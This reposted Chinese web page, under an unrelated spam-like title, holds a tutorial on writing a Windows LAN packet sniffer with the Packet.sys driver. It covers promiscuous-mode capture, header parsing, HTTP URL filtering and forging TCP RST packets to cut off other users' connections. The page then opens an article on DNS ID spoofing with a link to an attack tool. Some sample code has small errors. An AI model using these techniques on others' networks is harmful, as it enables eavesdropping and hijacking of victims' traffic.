万国表与欧米茄哪个好:如何编写网络监视器-经典(转贴)我的烟丝除杂有用到

来源:百度文库 编辑:偶看新闻 时间:2024/04/30 13:57:17
本文简单地介绍了NDIS (Network Driver Interface Specification 即网络驱动接口规范
),以及应用程序如何与一个驱动程序交互,如何最好地利用驱动程序。作为例子,本文提
供了一个应用程序使用Packet.sys的网络协议层驱动程序的例子,读者在这个例子的基础
上可以实现象Netxray等局域网数据包截获程序的功能。
  Packet.sys是DDK中的一个非常有用的驱动程序,通过它你能够接收以太网中所有经过
你的电脑的数据包,并且可以脱离系统的TCP/IP协议栈独立发送数据包,即通过Packet.s
ys建立的与TCP/IP同层次的协议发送数据包。
基础知识介绍
1. 驱动程序 Driver
设备驱动程序是拥有与Windows内核相同的最高特权的程序,它是在操作系统与输入/输出
设备之间的一层必不可少的"胶水"。它的作用相当于转换器,将从操作系统发来的原始的
请求转换成某种外围设备能够理解的命令。
系统程序员的主要工作就是编写驱动程序,与系统的底层打交道。许多在应用程序中称为
"mission impossible"即不可能完成的任务在使用了驱动程序后就可以轻易解决。编写驱
动程序最主要的目的当然是为了驱动真正的硬件,使系统能够顺利地控制各种不同型号的
外围设备或内部硬件,称为硬件驱动程序,象显卡驱动程序、网卡驱动程序、PCI总线驱动
程序等等;还有的驱动程序是为了实现一些应用程序不能够完成的功能的,有的虽然在逻
辑上实现了一个硬件的功能,但是物理上并不存在这个硬件,象虚拟光驱,这一大类则称
为软件驱动程序,象TCP/IP驱动程序、防火墙的驱动程序、虚拟光驱的驱动程序等等。

在Windows 9x/Me中支持Vxd驱动程序和WDM(Windows Driver Model)驱动程序,Windows N
T中支持Kernel Driver即内核式驱动程序,Windows 2000及以后版本的Windows使用WDM驱
动程序。Windows NT的内核式驱动程序与WDM驱动程序很相似,只是少了部分功能,而Vxd
式驱动程序行将淘汰,所以我们这里用的是WDM驱动程序。
2. 网络接口卡 Network Interface Card (NIC)
网络接口卡俗称网卡,它是一种硬件设备,作用是在电脑的内部总线和网络的传输介质中
充当大门的作用,通过它,我们可以向网络上发送和接收数据包。一般网卡的名称随着它
所在网络的类型不同而不同,象处于以太网中的网卡叫做以太网卡,处于令牌网中的网卡
叫做令牌网卡。我们这篇文章中讲的是在以太网中的应用。
3. 网络驱动接口规范 Network Driver Interface Specification(NDIS)
  随着计算机网络蓬勃发展,网络相关的驱动程序成为驱动中的热点。为了提高编写网
络驱动程序的效率,也为了使各种协议驱动在各种网卡之间独立,Microsoft创建了一个网
络驱动程序界面规范,即Network Device Interface Specification (NDIS),这个规范是
为原本复杂的网络驱动程序编写框架提供一个并不严格的封装,在这个规范下,编写网络
驱动程序中原来应该使用系统有关函数都变换为通过NDIS.sys这个接口,而内部实现的细
节由NDIS.sys实现,这样,不仅提高了编写效率,程序员不易出错,而且也增强了驱动程
序的强壮性、可维护性,设备独立性等性能。
  目前最新的NDIS是5.1版本,Windows 2K及以后版本的NDIS是5.0,我的例子中使用的
是Windows 2K DDK。
NDIS程序库(NDIS.sys)提供了一个面向NIC驱动程序的完全抽象的接口,如下图所示,网卡
驱动程序与协议层驱动程序及操作系统通过这个接口进行通信。我们可以把这个接口看做
Microsoft为网络驱动设计者提供了一个设计网络驱动程序所必须的抽象的伪"类"。(我个
人认为,Microsoft引入NDIS是一个在C++的面向对象和C的高编译效率之间的一个折衷,就
象MFC封装了WinAPI一样,以后Microsoft迟早会推出真正面向对象标准的DDK,就像现在D
riverStudio等某些驱动编写工具所做的那样)NDIS库输出了所有的能够在NIC驱动开发中
使用的NT内核模式函数。NDIS库还参与管理操作系统中的与网络有关的特定任务,管理所
有底层的NIC驱动的绑定与状态信息。

NDIS驱动程序有三种类型,分别是网络接口卡驱动程序、中间层驱动程序、高层协议驱动
程序。
A. 网络接口卡驱动程序 Miniport Network Interface Card drivers
网络接口卡驱动程序管理网络接口卡,NIC驱动程序在它的下端直接控制网络接口卡硬件,
在它的上端提供一个较高层的驱动能够使用的接口,这个接口一般完成以下的一些任务:
初始化网卡,停止网卡,发送和接收数据包,设置网卡的操作参数等等。
NIC驱动程序分为以下两种:
l 无连接的微端口驱动程序 (Connectionless Miniport Drivers)
无连接的微端口驱动程序是控制无连接的网络介质上的网卡的驱动程序,象以太网(Ether
net)、光纤分布式数据接口(FDDI)、令牌网(Token Ring)。
l 面向连接的微端口驱动程序 (Connection-oriented Miniport Drivers)
面向连接的微端口驱动程序是控制面向连接的网络介质上的网卡的驱动程序,象异步传输
模式(ATM)。
B. 中间层驱动程序 Intermediate Protocol Driver
中间层驱动程序在协议驱动程序和微端口驱动程序之间。在高层的传输层驱动程序看来,
中间层驱动程序象一个微端口驱动程序,而在底层的微端口驱动程序看来,它象一个协议
驱动程序。使用中间层驱动程序的最主要的原因可能是在一个已经存在的传输层驱动程序
和一个使用新的,传输层驱动程序并不认识的媒体格式的微端口驱动程序中相互转换格式
,即充当翻译的角色。
C. 高层的协议驱动程序 Upper Level Protocol Driver
  象各种TCP/IP协议,一个协议驱动程序完成TDI接口或者其他的应用程序可以识别的接
口来为它的用户提供服务。这些驱动程序分配数据包,将用户发来的数据拷贝到数据包中
,然后通过NDIS将数据包发送到低层的驱动程序,这个低层的驱动程序可能是中间层驱动
程序,也可能是微端口驱动程序。当然,它在自己的下端也提供一个协议层接口,用来与
低层驱动程序交互,其中最主要的功能就是接收由低层传来的数据包,这些通讯基本上都
是由NDIS完成的。
4. 驱动程序与应用程序的交互
在windows NT/2K下编写的驱动程序都必须要包括一个名叫DriverEntry入口函数,这个函
数是作为系统载入驱动程序时的入口点,它主要进行一些初始化及告诉系统各个回调函数
的位置,系统只有通过DriverEntry函数才能够知道驱动程序中其他的函数。应用层的调用
象CreateFile,ReadFile等等将导致NT输入/输出管理器生成一个与应用层的调用相对应的
IRP(Input/Output Request Packet 输入/输出请求包)。在Windows NT下,几乎所有的输
入/输出操作都是包驱动的,也就是每个I/O操作都是输出输入管理器向各个相关驱动程序
发送IRP来实现的。IRP是一个数据结构,里面包含了完成这个I/O操作需要的各个参数和最
终的状态等返回值。
网络监视器例子原理
  好,基础知识都介绍完毕,下面我将讲解一个非常有用的例子,要应用这个例子,必
须要有微软的驱动程序开发包,即DDK,我们使用的是开发包里的一个例子:协议层驱动程
序Packet.sys,今天我们只解决如何在应用层使用这个驱动程序,以后再讲解Packet.sys
的细节。Packet.sys是一个协议层驱动程序,它工作在OSI中的传输层,见下图,也就是说


  如果你将它加载到系统中的话,你就拥有一个与TCP/IP、IPX等等协议层驱动程序同等
级的协议层,这是一个令人兴奋的事情,至少我当初是这么想的:你可以脱离TCP/IP而自
己发送接收数据包,你可以完成许多原来不能完成的事情,象截获局域网(我讲的是以太网
,由于以太网的广播性质,所以网上的所有机器都可以获得网上数据包的复本)上的经过你
的机器这个网络结点的所有的数据包,这个功能就是Netxray等网络监视软件的基本原理,
如果你想做局域网访问限制器的话,只有根据接收的数据包稍加修改再发送出去就可以了
。所以说,这个驱动的应用范围是非常广的,当然也是非常有用的。
  下面讲讲网卡的工作过程,下面所说的都是在一个局域网里的情况:当一个机器向网
上发送出一个数据包的时候,网上的所有机器上的网卡都将接收到这个数据包,它将判断
这个数据包的目的地是不是它,如果是的话就接纳,如果不是就丢弃。
网卡有几个工作模式:广播模式、多播模式、直接模式和混杂模式。
  网卡在设置为广播模式时,它将会接收所有目的地址为广播地址的数据包,一般所有
的网卡都会设置为这个模式。
  网卡在设置为多播模式时,当数据包的目的地址为多播地址,而且网卡地址是属于那
个多播地址所代表的多播组时,网卡将接纳此数据包,即使一个网卡并不是一个多播组的
成员,程序也可以将网卡设置为多播模式而接收那些多播的数据包。
  网卡在设置为直接模式时,只有当数据包的目的地址为网卡自己的地址时,网卡才接
收它。
  网卡在设置为混杂模式时,它将接收所有经过的数据包,这个特性是我们要编写网络
监视程序的关键。
  当然一般的应用程序是不能轻易设置网卡的工作模式的,不过我们借助Packet.sys驱
动程序就可以将网卡设置为以上的任意模式。在我们的例子中,我们将网卡设置为混杂模
式以接收所有的数据包。
  Packet.sys是NT DDK中的一个例子。这个驱动程序能够把网卡设置为我们需要的任意
模式,允许应用程序通过它向网上发送和接收数据包。这个例子中还包括了一个方便使用
驱动程序的DLL,Packete32.dll,它提供给应用程序一个方便的接口,而与驱动程序通讯
相关的复杂的内部操作由DLL完成,面向应用层的程序员不需要了解这些细节。下面的图形
描述了我们的程序是如何同网卡通信的。应用程序调用了Packet32.dll中的函数,函数接
着调

  用了Packet.sys中与请求相对应的入口点,驱动程序使用了Ndis.sys中输出的函数来
与网卡通信。
在上面的过程中使用了以下的数据结构:
typedef struct _ADAPTER
{
HANDLE hFile; // 包含由CreateFile 函数返回的句柄
TCHAR SymbolicLink[MAX_LINK_NAME_LENGTH];
// 驱动程序的符号链接SymbolicLink
} ADAPTER, *LPADAPTER;
typedef struct _PACKET
{
HANDLE hEvent; // 一个用于Adapter对象的事件的句柄
OVERLAPPED OverLapped; // 用于与驱动程序异步输入输出的Overlapped结构
PVOID Buffer; // 发送或接收的数据包的缓冲区首指针
UINT Length; // Buffer的实际长度
} PACKET, *LPPACKET;
typedef struct _CONTROL_BLOCK
{
LPADAPTER hFile; // 网卡对象的指针
HANDLE hEvent; // event 的句柄
TCHAR AdapterName[64]; // 网卡的名称
// 接收的数据包的缓冲区
HANDLE hMem;
LPBYTE lpMem;
// 发送的数据包的缓冲区
HGLOBAL hMem2;
LPBYTE lpMem2;
ULONG PacketLength; // 数据包的长度
ULONG LastReadSize; // 最后一次读取的长度
UINT BufferSize; // 缓冲区的长度
} CONTROL_BLOCK, *PCONTROL_BLOCK;
下面是在应用程序中调用DLL的关键代码。
// 变量定义
CONTROL_BLOCK cbAdapter;
// 从注册表中得到网卡的名称
ULONG NameLength=64;
PacketGetAdapterNames(
CbAdapter.AdapterName,
&NameLength
);
CbAdapter.BufferSize=1514; // 以太网帧的最大长度
// 分配并锁定内存用来作为发送或接受缓冲区
CbAdapter.hMem=GlobalAlloc(GPTR, 1514);
CbAdapter.lpMem=(LPBYTE)GlobalLock(CbAdapter.hMem);
CbAdapter.hMem2=GlobalAlloc(GPTR,1514);
CbAdapter.lpMem2=(LPBYTE)GlobalLock(CbAdapter.hMem2);
// 打开网卡以接收发送数据包,这些代码调用DLL中的PacketOpenAdapter函数,这个

// 函数调用CreateFile函数,这样就打开了网卡与我们的协议驱动程序的绑定,使我们

// 可以在以后进行读写操作
CbAdapter.hFile=(ADAPTER*)PacketOpenAdapter(CbAdapter.AdapterName);
// OpenAdapter失败
if (CbAdapter.hFile = = NULL)
{
AfxMessageBox("Open Adapter failed");
}
// 一个接收PacketAllocatePacket函数返回值的void 指针
PVOID Packet;
// 将网卡的工作模式设置为混杂模式
Filter=NDIS_PACKET_TYPE_PROMISCUOUS;
PacketSetFilter(
CbAdapter.hFile,
Filter
);
// 分配缓冲区用来接收数据包
Packet=PacketAllocatePacket(CbAdapter.hFile);
// 初始化接收缓冲区
// 这些代码调用DLL中的PacketInitPacket来初始化Packet对象,这个Packet对象是用

// 来保存接收网上的数据包
if(Packet != NULL)
{
PacketInitPacket(
(PACKET *)Packet,
(char *)pdData[nCurrentWriteLocation].pData,
1514
);
// 从网卡驱动程序中读取数据包
PacketReceivePacket(
CbAdapter.hFile,
(PACKET *)Packet,
TRUE,
&pdData[nCurrentWriteLocation].nPacketLength
);
}
以上代码清楚地描述了应用程序如何使用Packet.sys驱动程序将网卡设置为混杂模式,这
样我们就可以接收到经过我们电脑的所有数据包了。
下面是一些我们在应用程序中主要用到的Packet32.dll中的函数。
l PacketGetAdapterNames
PacketGetAdapterNames函数从注册表中获得每个网卡的名称。
ULONG
PacketGetAdapterNames(
PTSTR pStr,
PULONG BufferSize
)
{
HKEY SystemKey;
HKEY ControlSetKey;
HKEY ServicesKey;
HKEY NdisPerfKey;
HKEY LinkageKey;
LONG Status;
DWORD RegType;
// 依次打开键,并读取键值
Status=RegOpenKeyEx(
HKEY_LOCAL_MACHINE,
TEXT("SYSTEM"),
0,
KEY_READ,
&SystemKey
);
if (Status == ERROR_SUCCESS) {
Status=RegOpenKeyEx(
SystemKey,
TEXT("CurrentControlSet"),
0,
KEY_READ,
&ControlSetKey
);
if (Status == ERROR_SUCCESS) {
Status=RegOpenKeyEx(
ControlSetKey,
TEXT("Services"),
0,
KEY_READ,
&ServicesKey
);
if (Status == ERROR_SUCCESS) {
Status=RegOpenKeyEx(
ServicesKey,
TEXT("Packet"),
0,
KEY_READ,
&NdisPerfKey
);
if (Status == ERROR_SUCCESS) {
Status=RegOpenKeyEx(
NdisPerfKey,
TEXT("Linkage"),
0,
KEY_READ,
&LinkageKey
);
if (Status == ERROR_SUCCESS) {
Status=RegQueryValueEx(
LinkageKey,
TEXT("Export"),
NULL,
&RegType,
(LPBYTE)pStr,
BufferSize
);
// 关闭上面所有打开的键
RegCloseKey(LinkageKey);
}
RegCloseKey(NdisPerfKey);
}
RegCloseKey(ServicesKey);
}
RegCloseKey(ControlSetKey);
}
RegCloseKey(SystemKey);
}
return Status;
}
l PacketOpenAdapter
下面的PacketOpenAdapter函数的流程:
  上面的流程是从应用程序的PacketOpenAdapter函数调用开始的,这也适用于所有其他
的函数调用。函数PacketOpenAdapter为设备(Device)定义了一个新的DOS设备名(DOS Dev
ice Name,通过这个DOS设备名,我们应用层的程序才可以向驱动程序提出请求),接着调
用CreateFile函数来建立并打开一个联系设备的文件句柄。这个函数必须在我们进行其他
操作比如读写数据包之前完成。CreateFile函数将进入驱动程序的IRP_MJ_CREATE入口点,
在这里,它调用了NDIS库中输出的函数NdisOpenAdapter来完成操作。
PVOID
PacketOpenAdapter(
LPTSTR AdapterName
)
{
LPADAPTER lpAdapter;
BOOLEAN Result;
ODS("Packet32: PacketOpenAdapter
");
// 为Adapter 对象分配全局内存
lpAdapter=(LPADAPTER)GlobalAllocPtr(
GMEM_MOVEABLE | GMEM_ZEROINIT,
sizeof(ADAPTER)
);
if (lpAdapter==NULL) {
ODS("Packet32: PacketOpenAdapter GlobalAlloc Failed
");
return NULL;
}
// 将名称拷贝到Symbolic link中
wsprintf(
lpAdapter->SymbolicLink,
TEXT("\.\%s%s"),
DOSNAMEPREFIX,
&AdapterName[8]
);
// 为设备定义一个DOS设备名
Result=DefineDosDevice(
DDD_RAW_TARGET_PATH,
&lpAdapter->SymbolicLink[4],
AdapterName
);
if (Result)
{
// 创建一个设备的文件句柄(file handle)
lpAdapter->hFile=CreateFile(lpAdapter->SymbolicLink,
GENERIC_WRITE | GENERIC_READ,
0,
NULL,
CREATE_ALWAYS,
FILE_FLAG_OVERLAPPED,
0
);
if (lpAdapter->hFile != INVALID_HANDLE_VALUE) {
return lpAdapter;
}
}
ODS("Packet32: PacketOpenAdapter Could not open adapter
");
GlobalFreePtr(
lpAdapter
);
return NULL;
}
l PacketAllocatePacket
下面的函数PacketAllocatePacket为packet对象分配内存。
PVOID
PacketAllocatePacket(
LPADAPTER AdapterObject
)
{
LPPACKET lpPacket;
// 为Packet对象分配内存
lpPacket=(LPPACKET)GlobalAllocPtr(
GMEM_MOVEABLE | GMEM_ZEROINIT,
sizeof(PACKET)
);
if (lpPacket==NULL) {
ODS("Packet32: PacketAllocateSendPacket: GlobalAlloc Failed
");
return NULL;
}
// 建立一个事件,这个事件将在操作完成后激活
lpPacket->OverLapped.hEvent=CreateEvent(
NULL,
FALSE,
FALSE,
NULL
);
if (lpPacket->OverLapped.hEvent==NULL) {
ODS("Packet32: PacketAllocateSendPacket: CreateEvent Failed
");
GlobalFreePtr(lpPacket);
return NULL;
}
return lpPacket;
}
l PacketInitPacket
函数PacketInitPacket初始化packet对象,即将packet对象中的buffer设置为传递的buff
er指针。
VOID
PacketInitPacket(
LPPACKET lpPacket,
PVOID Buffer,
UINT Length
)
{
lpPacket->Buffer=Buffer;
lpPacket->Length=Length;
}
l PacketReceivePacket
函数PacketReceivePacket调用驱动程序的相应的入口点来从网络上读取一个数据包。这个
操作是通过调用ReadFile函数来实现的。
BOOLEAN
PacketReceivePacket(
LPADAPTER AdapterObject,
LPPACKET lpPacket,
BOOLEAN Sync,
PULONG BytesReceived
)
{
BOOLEAN Result;
// 设置偏移量(Offset)为0
lpPacket->OverLapped.Offset=0;
lpPacket->OverLapped.OffsetHigh=0;
if (!ResetEvent(lpPacket->OverLapped.hEvent)) {
return FALSE;
}
// 调用ReadFile 来读取一个数据包
Result=ReadFile(
AdapterObject->hFile,
lpPacket->Buffer,
lpPacket->Length,
BytesReceived,
&lpPacket->OverLapped
);
if (Sync) {
// 调用者设定为未接收到数据包将等待,即同步调用
// 所以我们使用Overlapped中的同步对象来等待数据包
Result=GetOverlappedResult(
AdapterObject->hFile,
&lpPacket->OverLapped,
BytesReceived,
TRUE
);
}
else
{
// 如果调用者不想等待,则直接退出,他们会调用PacketWaitPacket来获得这次请
// 求的最终结果
Result = TRUE;
}
return Result;
}

具体应用
当我们实现了网络监视器后,成功地从网络上截获数据之后,怎么办呢?在下篇中,我将
讲如何具体应用。

参考资料
1. Windows NTDDK Help
2. Windows NTDDK Packet.sys Sample
首先,我声明一点,我们的网络监视功能是不能够阻止系统的一般协议栈对数据包的发送
和接收的,它只是在比协议栈更低层次的地方(即网卡驱动程序的上端)获得了进入机器的
数据包的一个"复本",而"源本"则按照正常的流程向上传递给了相应的协议,"截获"这个
词可能会让大家产生误解,我们的监视器只能实现"拷贝"这个功能,但说"拷贝"确实不太
舒服,所以以后我还是使用"截获"这个词。
  当我们完成了一个能够成功地截获网上数据包的监视器了,但是这只是我们实现监视
器的基础,还有许多工作要做,比如,当监视器截获数据包时,下一步应该干什么呢?什
么事都不做当然不是目的。而且,我们不必要也不应该截获所有的数据包,我们要有目的
的过滤那些需要的数据包,否则我们将看着海量的数据包而无所适从。
下面我就从过滤数据包、增加功能和优化性能三个方面谈谈怎么在应用层实践网络监视。

1.过滤数据包
  根据用户的需要过滤拷贝的数据包,提供给分析者分析,这可能是网络监视器的所能
增加的最基本的功能了。要实现过滤,使用者必须要有网络的基本概念,特别要了解以太
网帧的结构和IP,TCP/UDP等等数据包是如何封装在一个帧中的,这一节讲的是就是如何根
据自己的需要识别各种数据包的结构并过滤它。
  为了在一个分层次的网络上传输数据,我们将数据从我们的应用程序传送到一个协议
栈上,当数据在栈上一层一层地向下传送时,每一层的相应协议将把上一层传送下来的数
据封装为自己的格式,举一个最普通的数据传递过程,即应用->TCP->IP->以太网流程,如
下图所示:
  在图中我们可以清楚地看到TCP/IP协议栈及以太网中的数据传送的层次关系:当我们
在应用程序(一般应用有HTTP、FTP等等协议)中将应用数据(包括用户数据和应用首部)
向网络传送,它首先到达TCP层,TCP协议根据应用层的要求在TCP首部填写好各个字段,比
如端口号、序号、标志等等,重要的一个步骤是填写数据校验和到校验和字段,然后将包
括TCP首部的段(数据包在TCP协议层称为段segment)向协议栈的下一层即IP层传送;IP层
则与TCP层一样,填写IP首部的各个字段,比如地址、协议类型等等,然后将在头部包括I
P首部和TCP首部的整个数据报(数据包在IP协议层称为数据报datagram)向下传送;到了
以太网驱动程序,他将继续进行封装工作,将以太网首部和以太网尾部添加到从IP层传下
来的数据报上。
下面我们从外向内看各个封装的格式。
l 以太网帧首部
  以太网帧的首部的组成是:6字节的目的硬件地址、6字节的源硬件地址和2字节的类型
字段。如下图所示。对于类型字段我们主要使用以下几种:
协议 类型字段
IP 0800h
ARP 0806h
RARP 0835h

l IP首部
IP的全称是Internet Protocol即网际协议,这个协议是TCP/IP协议族中的核心协议。下面
是它的数据报格式:
从图中可以看出,如果IP数据报没有选项的话,那么IP首部有20字节。对网络监视器来说
,IP首部中各字段中重要的有:IP地址、协议类型、总长度。
协议类型说明是什么协议(TCP,UDP,ICMP,IGMP)向它传递数据。下面是各个主要协议的代码

协议类型 协议代码(十进制)
TCP 6
UDP 17
ICMP 1
IGMP 2
所以我们可以根据协议的代码来判断数据报内部封装的数据是属于什么协议。
下面的四个协议(ICMP、IGMP、TCP、UDP)都是封装在IP数据报中的。
l ICMP首部
ICMP的全称是Internet Control Message Protocol即网间控制报文协议。著名的Ping程序
用的就是这个协议。它的首部结构见下图。

l IGMP首部
IGMP的全称是Internet Group Manage Protocol即因特网组管理协议。它是用来支持主机
和路由器进行多播的协议。

l TCP首部
TCP的全称是Transport Control Protocol即传输控制协议。它是非常重要的协议。我们的
FTP,HTTP,TELNET等我们经常使用的应用都是使用TCP来传输的。它提供一种面向连接的
、可靠的字节流服务。下面是它的首部的结构。
如图所示,TCP首部长20字节,包括了源端口、目的端口、序号、确认序号、首部长度(以
四字节记)、六个标志字段、窗口大小、校验和等等。
六个标志字段的意义见下表:
标志 意义
URG 紧急指针(urgent pointer)有效
ACK 确认序号有效
PSH 接收方应该尽快将这个报文段交给应用层
RST 重建连接
SYN 同步序号用来发起一个连接
FIN 发端完成发送任务

l UDP首部
UDP的全称是User Datagram Protocol即用户数据报协议,与TCP区别,它是面向无连接应
用的协议,象我们的OICQ、ICQ等聊天软件都是用的UDP协议。下面是UDP首部的结构。

我们可以看到,UDP首部比TCP首部要简单得多,这是因为UDP是无连接的,比TCP的有连接
中双方复杂的交互要简单,它并不保证数据传输的质量,但是我们可以在更高层的应用中
自己进行质量保证。
l HTTP
  HTTP的全称是Hyper Text Transfer Protocol。我们浏览网页用的就是这个协议。HT
TP数据是在TCP包中的,而且一般来说网页服务是在80或8080端口。所以如果你只需要分析
浏览网页的情况,只需要截获端口号有80或8080的TCP包就可以了。更进一步,我们需要分
析HTTP协议中请求的内容。
  我们可能需要得到用户浏览网页的URL地址。假设我们现在得到了包含在TCP包中的HT
TP头信息。任何我们在浏览器里对HTTP服务器发送的请求都是GET或POST请求中的一种。浏
览器在HTTP头里添加了与请求及系统相关的信息然后将请求发送给相应的服务器。那些信
息当然包括了我们想要的URL。所以我们分析HTTP头就可以得到URL。下面是一个正常的包
含于HTTP头中的URL:
GET / HTTP/1.1
  上面的请求是得到服务器的主页(即默认页)的HTTP请求。"/"表示服务器的主页,后
面的"HTTP/1.1"表示这是HTTP的1.1版本。这是现在的主流版本,也有1.0的老版本。
下面是一个我们访问服务器上其他的网页的请求。
GET /source/index.html HTTP/1.1
上面的请求是得到"/source/index.html"的请求。
从上面我们可以知道如何解析HTTP头。
l 小结
通过上面对数据格式的介绍,我们可以轻松灵活地进行数据包的过滤。
2.增强我们的程序的功能
  我们当然不会满足于实现仅仅能够捕获数据包的简单的应用程序,要不是,我们干嘛
这么辛苦编程呢,直接用Netxray等软件得了,我们的目的是能够让程序实现自己的功能。
一个有意思的功能就是能够得到局域网上他人使用的代理服务器,实现方法很简单,别人
使用代理服务器的连接特征一般是在服务器返回给用户端的HTTP头中有"Proxy-Connectio
n"关键字存在。
下面我从通过实现一个访问限制器讲讲怎么增强程序的功能。
由于局域网的特殊性,我们可以实现一个局域网的访问限制器,可以限制网上其他用户对
因特网的访问权限。要实现这样的功能,我们先讲讲如何通过协议驱动程序发送数据包。

使用Packet32.dll中的函数PacketSendPacket来发送数据包。下面是这个函数的定义:

BOOL
PacketSendPacket(
LPADAPTER AdapterObject, // 我们使用PacketOpenAdapter打开的网络适配卡对象
LPPACKET lpPacket, // 使用PacketAllocatePacket等函数建立的数据包对象,
BOOLEAN Sync // 是否同步
);
如果函数发送数据包成功,则返回True,否则返回False。
  下面我讲讲构建数据包中需要注意的地方。
  首先是字与双字在各种系统中内部存储的方式的不同,在Windows中字与双字是高位在
低地址排列的,而网络传输的标准是低位在低地址排列,比如一个十进制数字4660在Wind
ows系统中存储成3412h,而在网络上表示是1234h。所以我们在设置或读取协议首部中有关
用字或双字表示(一般象TCP中的端口、序号,而IP地址则不是)的字段时要切记转换他们
的排列顺序。下面是一个转换字排列顺序的转换算法:
WORD SwapWord(WORD WordToReverse)
{
WORD lo,hi;
WORD result;
lo= WordToReverse & 0xff;
hi= WordToReverse & 0xff00;
lo=lo<<8;
hi=hi>>8;
result=hi | lo;
return result;
}
  在我们建立发送包的过程中,除了设置包中IP首部、TCP首部中各种字段为我们需要的
值,一个非常重要的工作是计算TCP、UDP、IP的校验和。我们遇到的校验和计算就是把一
个范围的数据按字(16 bit,WORD,即两个字节)反码相加,如果数据不是字对齐的,则
将在最后补上一个填充字节0使之字对齐再进行计算(在IP校验和计算中,由于只要计算I
P首部,所以没可以出现这种情况,但是我们在后面的TCP、UDP校验和计算中碰到这种情况
),以上计算得到的结果就是校验和。下面是一个公用校验和计算函数,它可以用在IP、
TCP、UDP校验和的计算中:
WORD CheckSum(WORD *addr,WORD len)
{
DWORD lSum;
WORD wOddByte;
WORD ChecksumAnswer;
lSum=0l;
while(len>1) {
lSum+= *addr++;
len-=2;
}
if(len==1) {
wOddByte=0;
*((unsigned char*)&wOddByte)=*(unsigned char*)addr;
lSum+=wOddByte;
}
lSum=(lSum>>16)+(lSum&0xffff);
lSum+=(lSum>>16);
ChecksumAnswer=(unsigned int)~lSum;
return CheckSumAnswer;
}
  IP首部的校验和只计算IP首部的数据,而UDP校验和是计算整个UDP首部和UDP数据。

  UDP的校验和是可选的,尽管UDP校验和的基本计算方法与上面描述的IP首部校验和计
算方法相类似(16 bit 字的二进制反码和),但是它们之间存在不同的地方。首先,UDP
数据报的长度可以为奇数字节,但是校验和算法是把若干个16 bit 字相加。如前所述,我
们可以在最后增加填充字节0 ,这只是为了校验和的计算(也就是说,可能增加的填充字
节不被传送)。其次,UDP数据报包含一个12字节长的伪首部,它是为了计算校验和而设置
的。伪首部包含IP首部一些字段。由于UDP可以不计算校验和,所以规定如果发送端没有计
算校验和的话,校验和字段将设置为0。UDP数据报中的伪首部格式如下图所示。
  TCP校验和的计算方法与UDP大致相同,只是TCP伪首部中的长度为16位TCP长度。而且
TCP的校验和是必须计算的。
  另外在我们发送TCP报文段的时候要注意序号的顺序,不然发送的报文段将得不到对方
的承认。
  知道了以上发送数据包的必要知识,我们现在可以使用发送数据包来进行应用了:比
如,前面我提到了访问限制器,我们可以在截获了某用户的对以太网的非法访问后(可以
通过对IP地址的检查或者对HTTP头中URL的检查来实现),根据截获的TCP包的序号重新构
建一个伪装成从服务器发送的TCP包,其中TCP包中的RST标志设为1,将它发送到网上的话
,他们建立的连接将被断开,所以就实现了阻止用户访问非法站点的功能。
  从上面的应用我们也看到了局域网的不安全性,每个结点都可以得到任何结点的网络
信息,甚至可以轻松地阻断别人的网络连接,那种方法如果用在黑客手里,你也不能有如
何防御的手段,幸好这只是在局域网上,如果有人能够在路由器上获得截获,那将是不幸
的事情。
3.优化应用程序的性能
  用过Netxray等网络监视器的读者都知道,如果在一个繁忙的网络上进行截获,而且不
设置任何过滤,那得到的数据包是非常多的,可能在一秒钟内得到上千的数据包。如果应
用程序不进行必要的性能优化,那么将会大量的丢失数据包,下面就是我对性能的一个优
化方案。
  这个方案使用了多线程来处理数据包。在程序中建立一个公共的数据包缓冲池,这个
缓冲池是一个LILO的队列。程序中使用三个线程进行操作:一个线程只进行捕获操作,它
将从驱动程序获得的数据包添加到数据包队列的头部;另一个线程只进行过滤操作,它检
查新到的队尾的数据包,检查其是否满足过滤条件,如果不满足则将其删除出队列;最后
一个线程进行数据包处理操作,象根据接收的数据包发送新数据包这样的工作都由它来进
行。上面三个线程中,考虑尽可能少丢失数据包的条件,应该是进行捕获操作的线程的优
先级最高,当然具体问题具体分析,看应用的侧重点是什么了。
18:12 | 添加评论 | 固定链接 | 引用通告 (0) | 记录它 | 计算机与 Internet
Windows下DNS ID欺骗的原理与实现
Windows下DNS ID欺骗的原理与实现
文章作者:摘自: 文章来源:军团论坛 发布时间:2005-09-04 00:50:27
本文相关程序 T-DNS 支持对局域网内任意主机发起DNS ID欺骗攻击,使其所访问的任何网
站均被指向一个您自定义的WEB服务器,如您自己的个人主页。您可以在中华安全网(Safe
China)下载此软件。
下载链接:< _blank>http://www.safechina.net/download/click.php?type=本站原
创&id=1038791088 >
域名系统(DNS)是一种用于TCP/IP应用程序的分布式数据库,它提供主机名字和IP地
址之间的转换信息。通常,网络用户通过UDP协议和DNS服务器进行通信,而服务器在特定
的53端口监听,并返回用户所需的相关信息。
一> DNS协议的相关数据结构
DNS数据报:
typedef struct dns
{
unsigned short id;
//标识,通过它客户端可以将DNS的请求与应答相匹配;
unsigned short flags;
//标志:[QR | opcode | AA| TC| RD| RA | zero | rcode ]
unsigned short quests;
//问题数目;
unsigned short answers;
//资源记录数目;
unsigned short author;
//授权资源记录数目;
unsigned short addition;
//额外资源记录数目;
}DNS,*PDNS;
在16位的标志中:QR位判断是查询/响应报文,opcode区别查询类型,AA判断是否为授权回
答,TC判断是否可截断,RD判断是否期望递归查询,RA判断是否为可用递归,zero必须为
0,rcode为返回码字段。
DNS查询数据报:
typedef struct query
{
unsinged char *name;
//查询的域名,这是一个大小在0到63之间的字符串;
unsigned short type;
//查询类型,大约有20个不同的类型
unsigned short classes;
//查询类,通常是A类既查询IP地址。
}QUERY,*PQUERY;
DNS响应数据报:
typedef struct response
{
unsigned short name;
//查询的域名
unsigned short type;
//查询类型
unsigned short classes;
//类型码
unsigned int ttl;
//生存时间
unsigned short length;
//资源数据长度
unsigned int addr;
//资源数据
}RESPONSE,*PRESPONSE;

二> windows下DNS ID欺骗的原理
我们可以看到,在DNS数据报头部的id(标识)是用来匹配响应和请求数据报的。现在
,让我们来看看域名解析的整个过程。客户端首先以特定的标识向DNS 服务器发送域名查
询数据报,在DNS服务器查询之后以相同的ID号给客户端发送域名响应数据报。这时客户端
会将收到的DNS响应数据报的ID和自己发送的查询数据报ID相比较,如果匹配则表明接收到
的正是自己等待的数据报,如果不匹配则丢弃之。
假如我们能够伪装DNS服务器提前向客户端发送响应数据报,那么客户端的DNS缓存里
域名所对应的IP就是我们自定义的IP了,同时客户端也就被带到了我们希望的网站。条件
